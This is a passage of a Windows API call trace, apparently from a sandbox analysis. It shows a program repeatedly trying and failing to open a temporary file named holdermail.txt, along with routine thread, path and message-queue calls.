	[0088.869] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0088.869] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0088.870] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0088.870] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0088.870] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0088.870] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0088.870] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.870] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0088.870] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0088.871] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0088.871] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.871] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0088.871] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0088.871] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0088.871] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0088.872] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0088.872] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0088.872] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.872] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0088.872] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0088.872] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0088.872] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.872] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0088.872] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0088.873] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0088.873] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0088.873] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0088.873] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0088.873] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.873] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0088.873] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0088.873] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0088.873] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.873] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0088.873] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0088.874] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0088.874] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0088.874] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0088.874] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0088.874] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.874] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0088.874] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0088.874] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0088.875] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.875] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0088.875] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0088.875] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0088.875] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0088.875] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0088.876] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0088.876] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.876] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0088.876] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0088.876] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0088.876] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.876] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0088.876] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0088.877] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0088.877] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0088.877] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0088.877] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0088.877] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.877] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0088.877] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0088.877] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0088.877] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.877] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0088.877] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0088.878] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0088.878] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0088.878] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0088.878] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0088.878] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.878] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0088.878] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0088.878] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0088.878] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.878] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0088.879] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0088.879] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0088.879] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0088.879] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0088.879] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0088.880] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.880] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0088.880] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0088.880] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0088.880] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.880] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0088.880] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0088.881] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0088.881] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0088.881] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0088.881] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0088.881] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.881] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0088.881] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0088.881] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0088.881] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.881] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0088.881] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0088.882] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0088.882] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0088.882] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0088.882] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0088.882] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.882] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0088.882] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0088.882] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0088.882] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.882] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0088.882] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0088.883] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0088.883] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0088.883] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0088.883] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0088.883] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.884] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0088.884] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0088.884] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0088.884] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0088.884] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0088.884] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0088.885] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0088.885] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0088.885] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
